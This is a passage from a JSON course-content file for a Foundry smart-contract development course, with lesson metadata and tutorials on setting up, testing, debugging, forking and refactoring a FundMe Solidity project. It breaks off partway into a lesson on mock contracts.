Complete Walkthrough of Our Recent Project\n\nYou should feel a warm sense of accomplishment envelop you. Completing an entire project in Foundry is no mean feat. A hearty congratulation is in order for such an indomitable effort. This article serves as a quick, yet comprehensive, recap of everything we learnt in our project, proceeding into our next engagement. From the onset, rest assured, we are set to advance our Foundry skills, push upcoming projects on GitHub, and familiarize ourselves with advanced tooling.\n\n## A Quick Trip Down Memory Lane: Key Takeaways from the Project\n\nFirstly, we journeyed through the process of creating a new Foundry project using Forge and Knit. These essential tools afforded us a structured, professional environment complete with folders to keep our work organized.\n\nWe not only learnt about Foundry’s basic commands but also their specific functionalities such as:\n\n- **Cast**: interacts with contracts that have been previously deployed.\n- **Forge**: compiles and interacts with our contracts.\n- **Anvil**: deploys a local blockchain, similar to another tool we used, Ganache.\n\nA pivotal part of our learning process was comprehending that sending a transaction via our MetaMask is tantamount to making an HTTP post request to a particular RPC URL. A similar RPC URL can be obtained from a node-as-a-service provider like [Alchemy](https://www.alchemyapi.io/) and used to send transactions directly from our Foundry projects.\n\nWe obtained practical knowledge on how to compile code in Foundry and write a Solidity script for its subsequent deployment. We also find it critical to ensure the security of our private keys. Hence, throughout this course, we will be using an `.env` file. But be warned when dealing with real money, having your private key in plain text is not advisable.\n\n## Understanding Contract Deployment and Interaction on the Blockchain\n\nWe delved into the automation of contract deployments to a blockchain. Post-deployment, we interacted with them using the `Cast` keyword and `send` to make transactions, then `Cast call` to read from those contracts.\n\nMoreover, the knowledge on how to auto format contracts with `Forge format` was acquired. We also learnt the painstaking yet rewarding manual method of verifying our contracts on the blockchain.\n\n```bash\nforge format my_contract.sol\n```\n\n\n\n## Looking Ahead\n\nWith these tools in your web development arsenal, you've performed exceptionally well – and yes, you should be incredibly proud. Remember, even something as small as installing tools like `Vs code` and `Foundry` can pose great difficulties, so, you're doing fantastic.\n\nTake a breather. Remember, breaks enhance productivity. Till next time, continue to strive for greatness in every line of code you write!\n\n\n", + "updates": [] + } + ] + }, + { + "number": 2, + "id": "105de61f-72fe-46d3-bfc4-8a2460e38d21", + "title": "Foundry Fund Me", + "slug": "foundry-fund-me", + "folderName": "2-foundry-fund-me", + "lessons": [ + { + "id": "bba0c0f7-79cc-4a28-a9f8-3b3165ecbb52", + "number": 1, + "title": "Fund Me project setup", + "slug": "fund-me-project-setup", + "folderName": "1-fund-me-setup", + "description": "Introduction to the Foundry FundMe project, including setting up GitHub, understanding the FundMe contract, exploring storage and state variables, and creating a new Foundry project folder.", + "duration": 5, + "videoUrl": "gXtqmMaBYPw", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/1-fund-me-setup/+page.md", + "markdownContent": "---\ntitle: Welcome & Setup\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWelcome to Lesson 7, where we will cover 'Foundry FundMe,' a crucial part of our smart contract journey. The aim of this lesson is to learn how to professionally deploy the code, master the art of creating fantastic tests, and gain insights into advanced debugging techniques.\n\n## Your First GitHub Contribution\n\nThis will be the first codebase that you will be contributing to GitHub yourself. Using a version control system such as GitHub, GitLab, or Radical is integral to being part of the Web Three ecosystem. For this lesson, we will be utilizing GitHub, given its popularity.\n\n## Understanding the Foundry FundMe\n\nWe start by delving into the FundMe contracts that we created previously. The source folder (`src`) contains these contracts, exhibiting the advanced syntax with all caps constants and underscores (`i_`, `s_`) fore immutables and storage/state variables, respectively.\n\nUntil now, we talked a lot about storage and state, but we didn't delve into what they really mean. Through a 'Fun with Storage' example, we will uncover these concepts in this lesson. This will form the backbone of understanding how to make contracts more gas efficient. Hence, making transactions less expensive for users.\n\n## Taking the Plunge\n\nAll right, let's jump into the code!\n\nWe will be working within our VS code, in our Foundry `F23` folder. To date, the only folder we have created is `foundry-simple-storage`. Now we will create a new one called `foundry-FundMe-f23` using the `mkdir` (make directory) command.\n\n```bash\n$ mkdir foundry-FundMe-f23\n```\n\nUsing the `ls` (list) command, we will see these two folders. Following this, we will initiate VS code in the newly created `foundry-FundMe-f23` folder.\n\n```bash\n$ code foundry-FundMe-f23\n```\n\n\n\n\nOnce we set up our new VS code, we can initialize our blank Foundry project using the `forge init` command.\n\n```bash\n$ forge init --force\n```\n\n## Understanding the Fundamentals through Counter.sol\n\nSubsequently, we come across the counter.sol contract within the `src` (source) folder. This is a basic contract that allows us to understand the foundational principles in depth. The contract has a `setNumber` function, an input parameter, `uint256 newNumber`, which modifies the variable as per the new number.\n\nIt also includes an `increment` function employing the `++` syntax equivalent to the expression `number = number + 1`.\n\n\n\n```js\nfunction increment() public {\n number = number + 1;\n}\n```\n\n## Deploying the Code\n\nFurther, we learn how to deploy this code using Foundry scripts and make it easier to run these contracts on different chains requiring unique addresses. We also acquire insights into how to use Foundry scripting to interact with our contracts in reproducible scripts instead of always from the command line.\n\n## Wrapping Up\n\nBy the end of this lesson, you should have a thorough understanding of this code, how to use it, discuss it effectively, and more importantly, how to write fantastic tests for your contracts. This is a crucial skill for any aspiring smart contract engineer.\n\nUpon completion, you should 100% share the project on your GitHub and social channels. Remember, this lesson is an enormous step in your Smart Contract journey.\n\nKeep learning and let's get started with the Fund Me project!", + "updates": [] + }, + { + "id": "23135955-1931-478b-8023-2ebe899162b3", + "number": 2, + "title": "Introduction to smart contracts testing", + "slug": "smart-contract-testing-introduction", + "folderName": "2-testing-introduction", + "description": "A guide on testing smart contracts using the `forge test` command and the `counter.t.sol` example, emphasizing the importance of test-driven development in programming.", + "duration": 2, + "videoUrl": "-e-ssPkqJUo", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/2-testing-introduction/+page.md", + "markdownContent": "---\ntitle: Testing Introduction\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nTo stand out from the crowd, one must not only master the development of smart contracts but also proficiency in testing these smart contracts. This not only guarantees you the quality and reliability of your code but also significantly reduces the occurrence of runtime issues that could potentially cost both clients and organization substantial amounts.\n\nIn this blog post, we will take a deep dive into the fascinating world of testing smart contracts, basing our illustrations on `forge test` command and the `counter.t.sol` example file.\n\n\n\n## Wrap Up: Driving Excellence in Blockchain Development\n\n\n\n\n\n\nStart today by adopting test-driven development in your programming regimen. It might seem tedious to begin with, but once you comprehend its value, you will appreciate the increased reliability and robustness it rings to your code.\n\nDon't forget, always run `forge test` to check the health of your smart contract before shipping out your code. Stay tuned for a more detailed exploration of testing and foundry fundamentals in the next lesson.", + "updates": [] + }, + { + "id": "d70c58eb-09aa-43d6-8cec-824516710bbb", + "number": 3, + "title": "Finishing the setup", + "slug": "finshing-the-setup", + "folderName": "3-setup-continued", + "description": "Continuation of the project setup, including cleaning up unnecessary files, incorporating contracts from Remix, resolving import errors, and directing imports with remappings.", + "duration": 6, + "videoUrl": "qF3WqBwisPE", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/3-setup-continued/+page.md", + "markdownContent": "---\ntitle: Setup Continued\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n\n\n### Necessary Clean-Up\n\nTo begin, we first need to clean up unwanted files in our project directory. Since we will be using our own contracts, we can safely remove any pre-existing counter files.\n\n```shell\n$ rm -f Counter.sol\n```\n\n\n## Incorporating Contracts from Remix\n\nWhen it comes to creating new files for our smart contracts, we will be working from 'lesson four' and 'Remix FundMe'. It's of utmost importance not to copy-paste contracts from our Foundry FundMe file at this point. Instead, we can clone the Remix FundMe file and modify it to facilitate easier composition of tests and interactions.\n\n```bash\n# Create a new file\ntouch FundMe.sol\n# Copy-paste the contracts from Remix FundMe and paste it in this new file \n```\n\nWe will do the same for the 'price converter' contract.\n\n```shell\n# Create a new file\ntouch priceConverter.sol\n# Copy-paste the content of the price converter contract file into this new file\n\n```\n\n\n\n\n\n### Resolving Import Issues\n\nWhen we try to compile our newly imported contracts, we might encounter import errors. This happens because while Remix automatically reaches into the NPM package repository to resolve imports, Foundry does not do this. In the context of Foundry, we must specify exactly where the dependencies should be pulled from.\n\n\n\n\nLet's install this dependency with the 'forge install' command.\n\n```shell\n# The command is written as follows:\nforge install smartcontractkit/chainlink-brownie-contracts\n```\n\nWe can now view and access these contracts in our local environment. The path to these contracts lies in the newly created 'Lib' folder.\n\n### Redirecting Imports with Remappings\n\nAt this moment, our contracts inaccurately import the 'aggregatorv3interface' from '@chainlink contracts'. To correct this, we need to instruct Foundry that '@chainlink contracts' actually points to our local 'Lib' folder. This can be achieved through a Foundry configuration file known as 'foundry.toml,' where we can establish a conduit, or remapping, to set this path accurately.\n\n\n\n\nIn the remapping section, construct this line of text:\n\n```js\nremappings = [\"@chainlink=lib/chainlink-brownie-contracts/contracts\"]\n```\n\nThis tells Foundry to replace '@chainlink contracts' with the path to the local library's chainlink brownie contracts.\n\n### Final Compilation and Potential Errors\n\nFinally, we're ready to compile our contracts!\n\n```shell\n$ forge build\n```\n\n\n\n\nIf you encounter errors, which are common in the course of such complex processes, consider labeling them with the contract name – followed by two underscores. It's a nifty convention that quickly helps identify which contracts throw these errors – for instance, here, 'FundMe contract.'\n\nWith these simple steps, you have set up your smart contracts and launched your journey into the innovative world of building decentralized applications!\n\n", + "updates": [] + }, + { + "id": "8df6e47f-e894-46cd-b1b7-63cf527f9a7d", + "number": 4, + "title": "Writing tests for your Solidity smart contract", + "slug": "writing-tests-for-solidity-smart-contracts", + "folderName": "4-tests", + "description": "Detailed explanation on writing and running tests for Solidity smart contracts, including creating test files, understanding the setup function, and using console logs for debugging.", + "duration": 9, + "videoUrl": "eu3Wu9PcsW0", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/4-tests/+page.md", + "markdownContent": "---\ntitle: Testing\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn this post, we will walk you through the entire process of creating robust tests for your smart contracts. Testing is an absolutely crucial step in your smart contract development journey, as the lack of tests can be a roadblock in the deployment stage or during a smart contract audit.\n\nSo, buckle up as we unveil what separates the best developers from the rest: comprehensive, effective tests!\n\n## Test File Creation and Basics\n\nBegin by creating a new file `FundMeTest.t.sol` to compose your tests. The 't' in `.t.sol` represents a convention in Solidity for test files.\n\nOur test will follow the same syntax as any Solidity contract. To start, we will specify the SPDX license and program solidity. We'll be making use of GitHub Copilot, which is useful for providing solid code recommendations.\n\nThe test code initially looks like this:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity;contract fundMeTest { }\n```\n\nTo make running our tests easier, we will import a standard contract from the Forge Standard Library. We'll utilize the `test` contract from `std.st`.\n\n```js\nimport {Test} from \"forge-std/Test.sol\";\ncontract FundMeTest is test { }\n```\n\n## Prioritizing Smart Contract Functionality\n\nOur first goal is to ensure our FundMe contract operates effectively. Thus, one of the first tasks is to deploy this contract. We can accomplish this task by initially deploying our contracts directly in the test folder. Ideally, one should import the contract deployment scripts into the test scripts to homogenize the deployment and testing environments.\n\nWhile setting up our test contract, include a function called `setup`. This function is always the first to execute whenever we run our tests. Here's how it should look:\n\n```js\nfunction setup() external { }\n```\n\nOur setup function will deploy our contract. Before that, let's briefly explore what a test might look like. Here's an example:\n\n```js\nfunction testDemo() public { }\n```\n\nUpon executing `forge test`, you will see a successful compiler run, indicating our test passed.\n\n## The Magic of 'Setup' and 'Console'\n\nDo you know why `setup` runs first? Let's break it down with an example:\n\n```js\n uint256 number = 1;\n function setup() external {\n number = 2;\n }\n function testDemo() {\n assertEq(number, 2);\n }\n```\n\nAbove, we declared `number` as 1. Within `setup`, `number` becomes 2. When we call the `testdemo` function and assert `number` is equal to 2, the test passes.\n\nThe `setup` function allowed us to update `number` before running our tests.\n\nHow about debugging these tests? We can tap into console logging for that.\n\nThe Console is a part of the `test.sol` contract included by default with Forge. The library lets us output print statements from our tests and contracts.\n\nConsider this code snippet:\n\n```js\nfunction testDemo() public {\n console.log(number);\n console.log(\"Hello, world!\");\n}\n```\n\nRunning `forge test -vv` prints the current value of `number` and \"Hello, world!\" The `-vv` specifies the verbosity level of the logging, giving us insight into our test results.S\n\n\n\n\n## Deploying the Contract\n\nLet's dive back into our `setup` function and deploy the contract. To accomplish that, the contract should know about `fundMe`.\n\nLet's import it:\n\n```js\nimport \"FundMe\" from \"../src/FundMe.sol\";\n```\n\nNext, we will initialize the `fundMe` contract in the `setup` function:\n\n```js\nFundMe fundMe = new FundMe();\n```\n\nThe contract is now deployed, and we are all set for testing.\n\n## Writing and Running a Test\n\nLet's begin by writing a test that ensures our minimum USD value is five.\n\nConsidering `minimumUSD` is a public variable, we will validate within our `testdemo` function if the value is indeed 5 times 10⁹ or simply 5e18:\n\n```js\nfunction testMinimumDollarIsFive() public {\n assertEq(fundMe.MINIMUM_USD(), 5e18);\n}\n```\n\nNow, if we run `forge test`, you should see \"compiler run successful\" and that the \"test minimum dollar is five\" has passed.\n\nIf you increase the testing value to 6 and rerun the test, it should fail, as the starting minimum USD is five.\n\nNow, alter the testing value back to five and rerun the test. The compiler should run successfully.\n\nCongratulations! You’ve just run your first basic test. Maintaining this testing practice consistently can help you secure your systems significantly.\n\n## Wrapping Up!\n\nAs technology advances, especially with the introduction of AI, you can go further with testing. With rigorous testing habits, you can ensure that your smart contracts behave as expected and transform from a mediocre developer to a proficient one.\n\n\n\n\n", + "updates": [] + }, + { + "id": "b8f5d1cf-2554-41d8-9240-a3069d854c7a", + "number": 5, + "title": "Debug your Solidity tests", + "slug": "debugging-tests", + "folderName": "5-debugging-tests", + "description": "A guide to debugging tests in Solidity, including writing and analyzing test functions, using console logs for troubleshooting, and understanding test failures.", + "duration": 3, + "videoUrl": "achXgiVg-FA", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/5-debugging-tests/+page.md", + "markdownContent": "---\ntitle: Debugging Tests\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n#By taking a hands-on approach, we'll write some functional tests to ensure that our code is working as expected and debug potential issues. This blog post is intended for both the seasoned veteran looking to tighten their test suite or a newcomer wanting to know more about the essentials of testing in Solidity.\n\n## Writing the First Test\n\nLet's go ahead and write a new test. This time, we'll examine whether the actual owner of a contract is indeed its message sender. Starting off, we can begin with the following function:\n\n```js\nfunction testOwnerIsMessageSender () public {\n assertEq(FundMe.i_owner(), msg.sender);\n}\n```\n\nOne of the beneficial aspects of writing descriptive test functions is the role it plays in assisting GitHub Copilot with comprehending your coding intentions.\n\n## Debugging the Test\n\nInevitably, there may be moments where our test fail and present us with an unexpected output. So, how do we determine why this failed or what transpired?\n\nTo debug, we could use numerous techniques we've learned, such as console logs. Let's console log out the literal owner and also the message sender for our starting point.\n\n```js\nconsole.log(FundMe.i_owner());\nconsole.log(msg.sender);\n```\n\nThen, re-run the test to examine the console output. This will allow us to check whether these two addresses are indeed different.\n\n```bash\nforge test -vv\n```\n\n## Understanding Test Failures\n\nNow from the console outputs, the result is that indeed these are two different addresses. This disparity arises because technically, in our setup function, the FundMe test contract is what deploys our FundMe address and would therefore be the owner. The message sender is whoever's making the call to the FundMe test.\n\nIn essence, the process looks something akin to this:\n\n- 'Us' calls the `FundMe test`, which then deploys `FundMe`.\n- The `FundMe test` becomes the owner of `FundMe`, and not 'us'.\n\nWith this newfound understanding, it becomes clear that we shouldn't be checking to see if the `message sender` is the owner, rather we ought to check if `FundMe test` is the owner.\n\n\n\n## Correcting the Test\n\nLet's re-write our test function to reflect this information:\n\n```js\nfunction testOwnerIsMessageSender () public {\n assertEq(FundMe.i_owner(), address(this));\n}\n```\n\nAfter running the test again, we find that indeed, our assertion was correct. Well done!\n\n## Conclusion on Testing\n\nConsole logs have proven to be a very useful debugging tool when writing tests. Of course, as we progress, we'll uncover more helpful ways to construct our tests. But for now, let's take a pause on these, as we'll return to refactor them soon.\n\nIf you've written just these tests, great job. To challenge yourself, you might want to pause and try to write some additional tests on your own. After all, practice is the key to mastering any programming language – and this holds particularly true for Solidity!\n", + "updates": [] + }, + { + "id": "b3ef4b83-29e1-41c9-861b-c62771925dfd", + "number": 6, + "title": "Advanced deploy scripts", + "slug": "advanced-deploy-scripts", + "folderName": "6-advanced-deploy-scripts", + "description": "Tutorial on writing advanced deploy scripts for smart contracts in Solidity, focusing on avoiding hardcoded contract addresses and making contracts more dynamic and adaptable.", + "duration": 3, + "videoUrl": "vCnt4Cpjuvc", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/6-advanced-deploy-scripts/+page.md", + "markdownContent": "---\ntitle: Advanced Deploy Scripts\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWhen crafting code for our blockchain, we encountered a significant obstacle. Our contract address was frequently hard-coded. This wouldn't ordinarily be an issue; however, our contract address merely existed on Sepolia, while we continued our testing phase on our local chain. In this lesson, we'll tackle this issue while simultaneously moving ahead in our coding project, so brace yourselves for an exciting ride. Let's dive in!\n\n## Writing our Deploy Scripts\n\nBefore we tackle our hard-code issue, let's execute an important task that we know is on our to-do list—writing our deploy scripts.\n\nStart by creating a new file named Deployfundme.s.sol. The standalone 'S' signifies the file is a script. Include the same SPDX license identifier, replace MIT with your own, and proceed to declare your contract deploy fund me.\n\n```js\n SPDX-License-Identifier: MIT\n pragma solidity 0.8.18;\n contract DeployFundMe {}\n```\n\nWe're using Foundry, which means we need to import several lines of code, including the forge std script sol, and since we're deploying FundMe, why not import it from SRCF. Next, to run the script, you'll want to use the function. Revisit lesson six if you're finding this step a bit confusing—the function applies an external function for the VM start broadcast, and a FundMe in lower case equals the new FundMe navigated by a VM stop broadcast.\n\n```javascript\n function run() external{\n vm.startBroadcast();\n new FundMe();\n vm.stopBroadcast();\n }\n```\n\nFollowing the function run prompts the script to run the `DeployFundMe.s.sol`. Encountering a 'VM' keyword error means you need to use the script. Rectifying this error leads to warnings about an unused local variable. In all probability, you do not even require this line. It's alright to remove it altogether and re-run the script.\n\n\n\n## Overcoming Errors and Ensuring Smooth Running\n\nFollowing these steps should help in successfully running the compiler, with the script showing successful execution. Ensure that you pass an RPC URL if you wish to simulate on-chain transactions.\n\n\n\nThe navigation of these steps indicates the importance of problem-solving in the blockchain coding world. In the upcoming blog posts, we will offer solutions on how to navigate hard-coding challenges in your blockchain coding challenges. Stay tuned for more insights!\n", + "updates": [] + }, + { + "id": "8b07077c-a7aa-41d9-86cd-f54d51dc678f", + "number": 7, + "title": "Running tests on chains forks", + "slug": "forked-tests", + "folderName": "7-forked-tests", + "description": "Instructions on running tests on forked blockchain chains, ensuring functional price feed integrations, and addressing issues related to non-existent contract addresses.", + "duration": 9, + "videoUrl": "de7aY97S3wA", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/7-forked-tests/+page.md", + "markdownContent": "---\ntitle: Forked Tests\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nAs we delve further into the mechanisms of our evolving FundMe tool, we find ourselves grappling with some indispensable features we need to solidify. What jumps to mind first? Yes, you’re thinking right. It's the FundMe proceeds.\n\nAs developers, we must ensure that our conversion rate is functioning as expected, thereby assuring us that the funding aspect of our tool is reliable. For this, we must ascertain that we can acquire the right version from our aggregator v3 interface and interact with it appropriately.\n\nLet's plunge into this intricate process, taking one step at a time.\n\n### Ensuring Functional Price Feed Integrations\n\nThe first step involves testing our price feed integrations using the `get version` function. We know from Remix that it should return version four.\n\n```javascript\nfunction testPriceFeedVersionIsAccurate() {\n uint256 version = FundMe.getVersion();\n assertEq(version, 4);\n}\n```\n\nDelving further into the world of testing, we try running the test with Forge:\n\n```bash\nforge test\n```\n\nAnd lo and behold, we encounter an EVM revert. But why did this happen? To intensify our focus on this particular test and sideline the rest, we use this method:\n\n```javascript\nforge test -m testPriceFeedVersionIsAccurate\n```\n\nBy switching the visibility with three V's, we can acquire more information. We now see that we get what's known as a stack trace of the error, pointing out that our GetVersion call is reverting due to a non-existing contract address. This happens since Foundry automatically sets up an Anvil chain for test runs, deleting it after completion.\n\n```bash\nforge test -vvv\n```\n\n### Addressing Non-Existent Contract Addresses\n\nAt this stage, you might be left wondering how to tackle these non-existent addresses. Can we even test our `testPriceFeedVersion` accurately when it encounters hiccup due to Forge and Anvil? Yes, we can - with a little maneuvering. One way is to use a fork URL. Here, we’ll draw a parallel situation where we use Alchemy to generate an API key.\n\n```bash\nSEPOLIA-RPC-URL=your-alchemy-key\n```\n\nMake sure your .env file exists and is a part of your .gitignore.\n\n```bash\necho $SEPOLIA-RPC-URL\n```\n\nYou can now utilize this RPC URL.\n\n```bash\nforge test -M testPriceFeedVersionIsAccurate --fork-url $SEPOLIA-RPC-URL\n```\n\nThe Anvil spins up but imitates transactions as if they were on the Sepolia chain. Our test's successful run now verifies that our transaction was performed adequately on the Sepolia chain.\n\n\n\n### Balanced Approach: Unit Test, Integration Test, Forked and Staging Test\n\nWhile we tackle and solve the problems at hand, it’s essential to remember that we are learning to maneuver around four main testing approaches. In the journey with FundMe, we will navigate primarily through Unit, Integration, and Forked tests.\n\n1. Unit test - A method of testing a particular code piece or function. In this case, we could argue that `getVersion` function was a unit test.\n2. Integration test - Multi-contract testing to ensure that all interrelated contracts effectively work together.\n3. Fork test - Testing our code in a simulated real environment.\n4. Staging test - Deploying our code to a real environment like testnet or mainnet to validate that everything indeed works as it should.\n\nEach of these tests has its strengths, weaknesses, and ideal usage instances. For instance, maintaining a balance between the number of fork tests versus standard tests is crucial to not overdo API calls to your alchemy node and sending your bill through the roof.\n\n### Conclusion\n\nTesting forms the backbone of the code we write and deploy. It is crucial to comprehend the need for testing coverage for our codes. Writing an extensive set of tests and achieving maximum test coverage lets us confidently deploy our contract to perform as expected.\n\nEnsuring a good level of coverage across the board, unit tests, integration tests, fork tests, and staging tests, can sometimes seem overwhelming. However, the more one works with it, the clearer it seems. I promise you, it's only a matter of learning, doing, and repeating.\n\n\n", + "updates": [] + }, + { + "id": "a2e5eb2f-09d0-46c2-833a-26becd480103", + "number": 8, + "title": "Refactoring your tests", + "slug": "refactoring-testing", + "folderName": "8-refactoring-testing", + "description": "Guide on refactoring tests for better efficiency and clarity, including updating price converter functions and deploying contracts on different networks with ease.", + "duration": 8, + "videoUrl": "bhIb0Jf2qRk", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/8-refactoring-testing/+page.md", + "markdownContent": "---\ntitle: Refactoring I - Testing Deploy Scripts\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nDid you know that the way you code your smart contracts could cause unnecessary work if you intend to switch chains? Many developers, particularly those familiar with the Solidity development suite, have found themselves enslaved by hardcoded contracts. Sure, they might work perfectly for Sepolia (the current chain of deployment) but they are incredibly restrictive for future use.\n\nWhat happens when you need to switch chains? A total overhaul of your code base, strenuous updates to all the addresses involved...it could take a lot of time and effort to get everything working correctly. In this lesson, we're going to explore an alternative approach to deploying smart contracts. We want to say goodbye to hardcoding and maintenance chaos, and say hello to _modular deployments_.\n\nThis reframed approach to deployment allows us to reference addresses and external systems dynamically. This means that we could potentially move our contracts from network to network with ease. Sure, it will require some refactoring, but in the end, it's going to make our lives a lot easier.\n\n## Refactoring Your Core Code\n\nLet's dive into our core code and decouple its dependency on Sepolia.\n\nTo avoid hardcoding the address of the contract, we're going to pass it as a constructor parameter each time we deploy the contract.\n\nHere's how we can achieve this:\n\n```js\nconstructor(address priceFeed) {\n s_priceFeed = AggregatorV3Interface(priceFeed);\n}\n```\n\nThis approach means we can adjust the address to match the network we're currently using for deployment. This refactor is essentially reworking the architecture of the code without altering its functionality. It’s a crucial practice among engineers to keep their code maintainable. The addition of a new aggregator interface variable in the state and storage variables, s_priceFeed, provides a place where the address can live after it's passed into the constructor.\n\nThis makes it much easier to reference, especially when we want to deploy on different chains. With this refactor, you're no longer hard-coding the address and can instead call the version function directly on your price feed variable.\n\n```js\nreturn s_priceFeed.version();\n```\n\n## Updating The Price Converter\n\nWe also need to update our price conversion functions to accept an additional parameter: the price feed address passed during deployment.\n\n```js\nfunction getPrice(AggregatorV3Interface priceFeed) internal view returns (uint256){\n (,int256 answer,,,) = priceFeed.latestRoundData();\n return uint256(answer * 10000000000);\n}\n\nfunction getConversionRate(uint256 ethAmount, AggregatorV3Interface priceFeed) internal view returns (uint256){\n uint256 ethPrice = getPrice(priceFeed);\n uint256 ethAMountInUsd (ethPrice * ethAmount) / 1000000000000000000;\n return ethAMountInUsd;\n}\n```\n\nWithin these functions, we simply replaced the hardcoded price feed object with the one passed into the function.\n\nHaving a modular approach to deployment makes it possible to deploy contracts to different networks easily, explore different testing environments, and maintain a maintainable and less error-prone code base throughout.\n\n## All's Well That Deploys Well\n\nBy exploring modular deployments, we've been able to overhaul our code architecture and streamline the deployment and testing of our smart contracts across different chains more efficiently.\n\nHowever, refactoring is not without challenges. The modifying of the funder address in our test case from address(this) to msg.sender caused an initial hiccup upon testing. After fixing this, our tests passed.\n\n\n\nThe ability to refactor your code for a more flexible, modular deployment system is a skillset that sets you apart from the average solidity developer. There's a bit of a learning curve, but the payoff is enormous both in terms of versatility and maintainability.\n\nSo great job on making it this far. I'm excited for you as you continue to expand your developer toolkit!\n\nNow go out, experiment, refactor, test, and innovate. The world of solidity development is at your fingertips.\n", + "updates": [] + }, + { + "id": "39383e0f-19f1-4ba0-a1e7-56daebb424f0", + "number": 9, + "title": "Deploy a mock priceFeed", + "slug": "refactoring-helper", + "folderName": "9-refactoring-helper", + "description": "Detailed guide on setting up a mocked environment for local testing of blockchain smart contracts, emphasizing the benefits and steps for creating mock contracts.", + "duration": 14, + "videoUrl": "YqnxsefqO5A", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/9-refactoring-helper/+page.md", + "markdownContent": "---\ntitle: Refactoring II - Helper Config\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nWhen building and testing your blockchain, you've likely found yourself often making calls to your Alchemy node. Furthermore, you may have noticed the undesirable outcome of this, running up your bill with each test suite execution. So, how can you streamline this process for local development and eliminate redundant API calls to Alchemy? The answer lies in creating mock contracts on your local chain.\n\nIn this blog, we'll detail how to set up a mocked environment for local testing and bypass the need to hard-code addresses, while ensuring the functionality remains undisturbed.\n\n### The Importance of Local Testing\n\nBefore we dive into the code, let's emphasize why this practice is so beneficial. By creating a local testing environment, you reduce your chances of breaking anything in the refactoring process, as you can test all changes before they go live. No more hardcoding of addresses and no more failures when you try to run a test without a forked chain. As a powerful yet simple tool, a mock contract allows you to simulate the behavior of a real contract without the need to interact with a live blockchain.\n\n### Creating the Mock Contract\n\nLet's start by creating a new contract called `HelperConfig.s.sol`. This contract serves two main purposes:\n\n1. It deploys mocks when we're on a local anvil chain\n2. Maintains track of contract addresses across various chains\n\n```js\n\nimport {Script} from \"forge-stf/Scripts.sol\"\n\ncontract HelperConfig {}\n```\n\nNow, you'll notice `forge-stf/Scripts.sol` being imported at the start of this contract. This helps us determine whether we're in a local anvil chain so that we can deploy the mock contracts accordingly. Similarly, we keep a tab on contract addresses depending on the chain we're on with the aid of address tracking logic.\n\n### Developing Specific Network Configurations\n\nNext, let's create functions `getSapoliaEthConfig` and `getAnvilEthConfig` that return configurations for the respective chains.\n\n```javascript\n\n NetworkConfig public activeNetworkConfig;\n\n function getSepoliaEthConfig() public pure returns (NetworkConfig memory) {\n NetworkConfig memory sepoliaConfig = NetworkConfig(address);\n return sepoliaConfig;\n }\n function getAnvilEthConfig() public pure returns (NetworkConfig memory) {NetworkConfig memory config = NetworkConfig(address);// other logicreturn config;}\n```\n\nIn this way, you can create multiple network configurations quickly.\n\nHowever, the main challenge arises when you have to decide which configuration to use. For that, we'll create a public variable `activeNetworkConfig`, which gives us an insight into the current network type. Based on the network type, we can set the `activeNetworkConfig` and make our tests much more flexible.\n\n```javascript\nif (block.chainId == 11155111) {\n activeNetworkConfig = getSepoliaEthConfig();\n} else {\n activeNetworkConfig = getAnvilEthConfig();\n}\n```\n\nNote that the `block.chainId` equals `11155111` is the specific chain ID for the Sapolia chain. For each chain, you can find their respective IDs using this [chainlist](https://chainlist.org).\n\n### Toward More Effective Testing\n\nWith such an architecture in place, you can now test against a forked Mainnet or any other blockchain you choose to deploy. Import your `HelperConfig` in the test files and set the `activeNetworkConfig` at the beginning of every test suite.\n\n```javascript\n import HelperConfig from 'HelperConfig.s.sol';\n HelperConfig helperConfig = new HelperConfig;\n // then get the price feed address\n address ethUsdPriceFeed = helperConfig.activeNetworkConfig.priceFeed;\n```\n\nThis setup enables you to check your code against different chains without having to hard-code any addresses.\n\nJust remember to define a new `NetworkConfig` type for every chain you want to test against, and you're good to go.\n\nFor example, if you want to deploy on the Ethereum Mainnet, you can define a dedicated function to get the mainnet's ETH config.\n\n```javascript\n function getMainnetEthConfig() public pure returns (NetworkConfig memory) {\n NetworkConfig memory config = NetworkConfig(address);// other logic\n return config;\n }\n```\n\nAnd in your constructor, add a new condition to check if the current chain is the Ethereum Mainnet.\n\n```javascript\n else if (block.chainId == 1) {activeNetworkConfig = getMainnetETHConfig;}\n```\n\nThis modularity ensures that you can run your tests on any chain, simply adding additional network configuration as necessary. Run `forge test, fork URL, mainnetrpcURL`, and get to testing on the Ethereum Mainnet right away.\n\n### Conclusion\n\nIn conclusion, mock contracts are a valuable asset for local development. They enable you to test and refine your contract without the need for constant calls to your Alchemy node, saving you valuable time and resources. Plus, having a well-structured way to manage different configurations for different networks makes running tests and deploying on different chains a breeze.\n\n\n\nAs we've highlighted here, each blockchain development project can be optimized with a few simple steps. As long as you're armed with the knowledge of your chain's ID and the addresses you need, you can create a local testing environment that aids you in creating a well-structured, efficient, and robust product.\n", + "updates": [] + }, + { + "id": "fd09e9da-514c-4146-863d-a9a9659c8c76", + "number": 10, + "title": "Refactoring the mock smart contract", + "slug": "refactoring-mocks", + "folderName": "10-refactoring-mocks", + "description": "Comprehensive guide on refactoring mock smart contracts for local network testing, including deploying mock price feed contracts and overcoming common errors.", + "duration": 5, + "videoUrl": "7iHW8Ro_eog", + "rawMarkdownUrl": "/routes/foundry/2-foundry-fund-me/10-refactoring-mocks/+page.md", + "markdownContent": "---\ntitle: Refactoring II - Mocks\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nLet's deep-dive 